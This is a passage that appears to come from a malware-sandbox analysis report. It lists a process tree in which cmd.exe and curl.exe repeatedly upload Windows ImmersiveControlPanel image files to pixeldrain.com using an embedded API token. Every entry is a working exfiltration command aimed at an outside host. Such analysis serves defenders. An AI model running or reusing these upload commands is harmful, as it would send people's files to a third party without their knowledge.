    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-150.png-07-11-2026--13.55.46.png
    3⤵
    PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-200.png-07-11-2026--13.55.46.png
  2⤵
  PID:5712
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-200.png-07-11-2026--13.55.46.png
    3⤵
    PID:5104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-400.png-07-11-2026--13.55.46.png
  2⤵
  PID:4708
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-400.png-07-11-2026--13.55.46.png
    3⤵
    PID:2704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16.png-07-11-2026--13.55.46.png
  2⤵
  PID:368
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16.png-07-11-2026--13.55.46.png
    3⤵
    PID:8
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated.png-07-11-2026--13.55.47.png
  2⤵
  PID:3532
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated.png-07-11-2026--13.55.47.png
    3⤵
    PID:812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated_contrast-black.png-07-11-2026--13.55.47.png
  2⤵
  PID:4828
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated_contrast-black.png-07-11-2026--13.55.47.png
    3⤵
    PID:296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated_contrast-white.png-07-11-2026--13.55.47.png
  2⤵
  PID:6112
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_altform-unplated_contrast-white.png-07-11-2026--13.55.47.png
    3⤵
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_contrast-black.png-07-11-2026--13.55.47.png
  2⤵
  PID:5388
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_contrast-black.png-07-11-2026--13.55.47.png
    3⤵
    PID:4692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_contrast-white.png-07-11-2026--13.55.48.png
  2⤵
  PID:3384
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-16_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-16_contrast-white.png-07-11-2026--13.55.48.png
    3⤵
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20.png-07-11-2026--13.55.48.png
  2⤵
  PID:6132
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20.png-07-11-2026--13.55.48.png
    3⤵
    PID:1260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated.png-07-11-2026--13.55.48.png
  2⤵
  PID:3092
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated.png-07-11-2026--13.55.48.png
    3⤵
    PID:4996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated_contrast-black.png-07-11-2026--13.55.48.png
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated_contrast-black.png-07-11-2026--13.55.48.png
    3⤵
    PID:4328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated_contrast-white.png-07-11-2026--13.55.49.png
  2⤵
  PID:3876
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_altform-unplated_contrast-white.png-07-11-2026--13.55.49.png
    3⤵
    PID:3044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_contrast-black.png-07-11-2026--13.55.49.png
  2⤵
  PID:2300
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_contrast-black.png-07-11-2026--13.55.49.png
    3⤵
    PID:1184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_contrast-white.png-07-11-2026--13.55.49.png
  2⤵
  PID:3352
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-20_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-20_contrast-white.png-07-11-2026--13.55.49.png
    3⤵
    PID:4728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24.png-07-11-2026--13.55.49.png
  2⤵
  PID:2496
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24.png-07-11-2026--13.55.49.png
    3⤵
    PID:1116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated.png-07-11-2026--13.55.50.png
  2⤵
  PID:5212
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated.png-07-11-2026--13.55.50.png
    3⤵
    PID:424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated_contrast-black.png-07-11-2026--13.55.50.png
  2⤵
  PID:5052
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated_contrast-black.png-07-11-2026--13.55.50.png
    3⤵
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated_contrast-white.png-07-11-2026--13.55.50.png
  2⤵
  PID:4240
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_altform-unplated_contrast-white.png-07-11-2026--13.55.50.png
    3⤵
    PID:1388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_contrast-black.png-07-11-2026--13.55.51.png
  2⤵
  PID:1852
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_contrast-black.png-07-11-2026--13.55.51.png
    3⤵
    PID:5556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_contrast-white.png-07-11-2026--13.55.51.png
  2⤵
  PID:5980
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-24_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-24_contrast-white.png-07-11-2026--13.55.51.png
    3⤵
    PID:580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256.png-07-11-2026--13.55.51.png
  2⤵
  PID:3524
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256.png-07-11-2026--13.55.51.png
    3⤵
    PID:5820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated.png-07-11-2026--13.55.51.png
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated.png-07-11-2026--13.55.51.png
    3⤵
    PID:4804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated_contrast-black.png-07-11-2026--13.55.52.png
  2⤵
  PID:2948
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated_contrast-black.png-07-11-2026--13.55.52.png
    3⤵
    PID:4004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated_contrast-white.png-07-11-2026--13.55.52.png
  2⤵
  PID:6040
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_altform-unplated_contrast-white.png-07-11-2026--13.55.52.png
    3⤵
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_contrast-black.png-07-11-2026--13.55.52.png
  2⤵
  PID:2608
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_contrast-black.png-07-11-2026--13.55.52.png
    3⤵
    PID:996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_contrast-white.png-07-11-2026--13.55.52.png
  2⤵
  PID:5392
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-256_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-256_contrast-white.png-07-11-2026--13.55.52.png
    3⤵
    PID:5912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30.png-07-11-2026--13.55.53.png
  2⤵
  PID:2640
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30.png-07-11-2026--13.55.53.png
    3⤵
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated.png-07-11-2026--13.55.53.png
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated.png-07-11-2026--13.55.53.png
    3⤵
    PID:4168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated_contrast-black.png-07-11-2026--13.55.53.png
  2⤵
  PID:5072
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated_contrast-black.png-07-11-2026--13.55.53.png
    3⤵
    PID:5984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated_contrast-white.png-07-11-2026--13.55.53.png
  2⤵
  PID:2288
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_altform-unplated_contrast-white.png-07-11-2026--13.55.53.png
    3⤵
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_contrast-black.png-07-11-2026--13.55.54.png
  2⤵
  PID:1004
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_contrast-black.png-07-11-2026--13.55.54.png
    3⤵
    PID:5796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_contrast-white.png-07-11-2026--13.55.54.png
  2⤵
  PID:3956
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-30_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-30_contrast-white.png-07-11-2026--13.55.54.png
    3⤵
    PID:2032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32.png-07-11-2026--13.55.54.png
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32.png-07-11-2026--13.55.54.png
    3⤵
    PID:5440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated.png-07-11-2026--13.55.54.png
  2⤵
  PID:3976
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated.png-07-11-2026--13.55.54.png
    3⤵
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated_contrast-black.png-07-11-2026--13.55.55.png
  2⤵
  PID:3448
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated_contrast-black.png-07-11-2026--13.55.55.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated_contrast-white.png-07-11-2026--13.55.55.png
  2⤵
  PID:2360
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_altform-unplated_contrast-white.png-07-11-2026--13.55.55.png
    3⤵
    PID:5116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_contrast-black.png-07-11-2026--13.55.55.png
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_contrast-black.png-07-11-2026--13.55.55.png
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_contrast-white.png-07-11-2026--13.55.56.png
  2⤵
  PID:3012
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-32_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-32_contrast-white.png-07-11-2026--13.55.56.png
    3⤵
    PID:1904
- C:\Windows\SysWOW64\cmd.exe
